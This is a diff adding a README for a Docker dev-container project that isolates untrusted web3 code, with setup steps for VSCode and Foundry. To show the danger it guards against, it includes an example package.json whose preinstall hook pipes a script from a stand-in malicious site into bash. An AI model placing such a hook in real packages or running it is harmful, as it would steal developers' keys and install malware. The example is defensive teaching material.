|
| 1 | +*Important: This repo is a work in progress* |
| 2 | + |
| 3 | +# Web3 Dev Containers |
| 4 | + |
| 5 | +A repo to help you run code in a safer manner in the web3 ecosystem. You open up your code in an isolated docker environment so you have a smaller chance of getting hacked. |
| 6 | + |
| 7 | +*Important: This isn't a fail-safe!* |
| 8 | + |
| 9 | +You can read more about the importance of sandboxing, containers vs VMs, and more in the [Red Guild Blog](https://blog.theredguild.org/where-do-you-run-your-code/). |
| 10 | + |
| 11 | +## Table of contents |
| 12 | + |
| 13 | +- [Web3 Dev Containers](#web3-dev-containers) |
| 14 | + - [Table of contents](#table-of-contents) |
| 15 | + - [Why are dev containers important?](#why-are-dev-containers-important) |
| 16 | + - [Examples of when you'd want to use a dev container](#examples-of-when-youd-want-to-use-a-dev-container) |
| 17 | +- [Getting Started](#getting-started) |
| 18 | + - [Requirements](#requirements) |
| 19 | + - [Optional VSCode Requirements](#optional-vscode-requirements) |
| 20 | + - [Installation](#installation) |
| 21 | + - [Quickstart - VSCode and Foundry on a new project, unmounted](#quickstart---vscode-and-foundry-on-a-new-project-unmounted) |
| 22 | +- [Usage](#usage) |
| 23 | + - [VSCode](#vscode) |
| 24 | + - [Mounted](#mounted) |
| 25 | + - [Using on an existing project](#using-on-an-existing-project) |
| 26 | + - [Raw Docker](#raw-docker) |
| 27 | + - [Mounted](#mounted-1) |
| 28 | + - [Using on an existing project](#using-on-an-existing-project-1) |
| 29 | + - [Adding new projects](#adding-new-projects) |
| 30 | + - [Adding new tools/Dockerfiles/containers](#adding-new-toolsdockerfilescontainers) |
| 31 | +- [License](#license) |
| 32 | +- [Acknowledgements](#acknowledgements) |
| 33 | + |
| 34 | +## Why are dev containers important? |
| 35 | + |
| 36 | +So you don't get *rekt*, big dog. |
| 37 | + |
| 38 | +Imagine you're auditing a suspicious smart contract and it has a `package.json` that includes a malicious preinstall script: |
| 39 | + |
| 40 | +```json |
| 41 | +{ |
| 42 | + "name": "suspicious-contract", |
| 43 | + "scripts": { |
| 44 | + "preinstall": "curl -s http://some-malicious-site.com/steal.sh | bash" |
| 45 | + } |
| 46 | +} |
| 47 | +``` |
| 48 | + |
| 49 | +If you run npm install on your host machine, you'll essentailly be running a bash script from a random website on your machine! It could do things like: |
| 50 | +- The script could steal your private keys from `~/.ssh` |
| 51 | +- Steal encrypted keys from `~/.foundry` |
| 52 | +- Install malware somewhere in your files |
| 53 | +- Literally anything |
| 54 | + |
| 55 | +But in a dev container: |
| 56 | +- The script is isolated to the container environment |
| 57 | +- Can't access your host files unless explicitly mounted |
| 58 | +- Even if it installs malware, it's confined to the container |
| 59 | +- When you're done, you can destroy the container without affecting your host |
| 60 | + |
| 61 | +The container provides a disposable, isolated environment where you can more safely examine and run suspicious code. |
| 62 | + |
| 63 | +## Examples of when you'd want to use a dev container |
| 64 | + |
| 65 | +- When you're auditing code that you're not sure you trust |
| 66 | +- When you get an interview and the interviewer asks you to download and run some code (by the way, this is usually a scam anyways) |
| 67 | +- When you're going to download some suspicious packages |
| 68 | +- Or really, whenever you work on any project at all so that you isolate your dev environment from your host machine |
| 69 | + |
| 70 | +# Getting Started |
| 71 | + |
| 72 | +## Requirements |
| 73 | + |
| 74 | +- [Docker](https://docs.docker.com/get-docker/) |
| 75 | + - Must have installed on your local OS: `docker` and `docker-buildx`. |
| 76 | + - You'll know you have it installed if you can run `docker --version` in your terminal and you get an output like `Docker version xx.x.x, build xxxxxxxx` (`x` are numbers) |
| 77 | + |
| 78 | +## Optional VSCode Requirements |
| 79 | + |
| 80 | +- [VSCode](https://code.visualstudio.com/) |
| 81 | +- DevContainer extension by MS: `ms-vscode-remote.remote-containers` |
| 82 | + |
| 83 | +## Installation |
| 84 | + |
| 85 | +Please see [VSCode](#VSCode) or [Raw Docker](#Raw-Docker) for more detailed instructions. |
| 86 | + |
| 87 | +```bash |
| 88 | +git clone https://github.com/Cyfrin/web3-dev-containers |
| 89 | +cd web3-dev-containers |
| 90 | +``` |
| 91 | + |
| 92 | +## Quickstart - VSCode and Foundry on a new project, unmounted |
| 93 | + |
| 94 | +Please see [VSCode](#VSCode) or [Raw Docker](#Raw-Docker) for more detailed instructions. |
| 95 | + |
| 96 | +> **Note** |
| 97 | +> `unmounted`: This means that all the code we work with will be destroyed once we stop the container. This is the safest way to work with code. There are times when we want to save our code, you can see those instructions in the `mounted` section in the [Usage](#Usage) section. |
| 98 | +> If you want to save the changes you make to your code back to your host computer, you can use the `mounted` version of the dev container. |
| 99 | +
|
| 100 | +1. Open the `foundry/unmounted` folder in VSCode |
| 101 | + |
| 102 | +After you clone this repo, open the `web3-dev-containers/foundry/unmounted` folder in VS Code. |
| 103 | + |
| 104 | +```bash |
| 105 | +code ./foundry/unmounted # If you have the `code` terminal command installed |
| 106 | + |
| 107 | +# Otherwise, you can just do `File` -> `Open Folder` and select the `web3-dev-containers` folder |
| 108 | +``` |
| 109 | + |
| 110 | +2. Run `Dev Containers: Reopen in Container` from the command palette |
| 111 | + |
| 112 | +To get to the command pallette, you can use the following shortcuts: |
| 113 | +- Windows/Linux: `Ctrl+Shift+P` |
| 114 | +- macOS: `Cmd+Shift+P` |
| 115 | + |
| 116 | +Then type `Dev Containers: Reopen in Container` and select it. |
| 117 | + |
| 118 | +You should get opened up into a new window that looks like this: |
| 119 | + |
| 120 | +<p align="center"> |
| 121 | + <br /> |
| 122 | + <img src="./img/dev-container-image.png" width="750" alt=""/></a> |
| 123 | + <br /> |
| 124 | +</p> |
| 125 | + |
| 126 | +3. Clone your project into the `projects` folder |
| 127 | + |
| 128 | +You should be at `/workspace`. |
| 129 | + |
| 130 | +```bash |
| 131 | +git clone https://github.com/Cyfrin/foundry-fund-me-cu # Example project |
| 132 | +cd foundry-fund-me-cu |
| 133 | +forge build |
| 134 | +forge test |
| 135 | +``` |
| 136 | + |
| 137 | +This will clone the project into the `projects` folder and you can start working with your projects, knowing that scripts are isloated to this dev container! |
| 138 | + |
| 139 | +4. Tear down |
| 140 | + |
| 141 | +When you're done, you can delete the docker container in your docker dashboard, or run `docker ps` to get the container ID and run `docker stop <container-id>` to stop the container. |
| 142 | + |
| 143 | +To do it via the CLI, back on your host machine run: |
| 144 | + |
| 145 | +```bash |
| 146 | +docker ps # You'll get an output of different running docker containers |
| 147 | +docker stop <container-id> # Replace <container-id> with the container ID of the dev container |
| 148 | + |
| 149 | +# If you're sure you don't want any stopped containers, you can then optionally run: |
| 150 | +docker system prune # And then `y` to confirm |
| 151 | +# Be sure you actually want to run this |
| 152 | +``` |
| 153 | + |
| 154 | +This will delete all traces of the code you worked on in that container! |
| 155 | + |
| 156 | +# Usage |
| 157 | + |
| 158 | +## VSCode |
| 159 | + |
| 160 | +Please see the [Quickstart](#Quickstart---VSCode-and-Foundry-on-a-new-project) for a quick guide on how to use this with VSCode on a new project. |
| 161 | + |
| 162 | +### Mounted |
| 163 | + |
| 164 | +### Using on an existing project |
| 165 | + |
| 166 | +## Raw Docker |
| 167 | + |
| 168 | +### Mounted |
| 169 | + |
| 170 | +### Using on an existing project |
| 171 | + |
| 172 | +## Adding new projects |
| 173 | + |
| 174 | +## Adding new tools/Dockerfiles/containers |
| 175 | + |
| 176 | +# License |
| 177 | + |
| 178 | +# Acknowledgements |
0 commit comments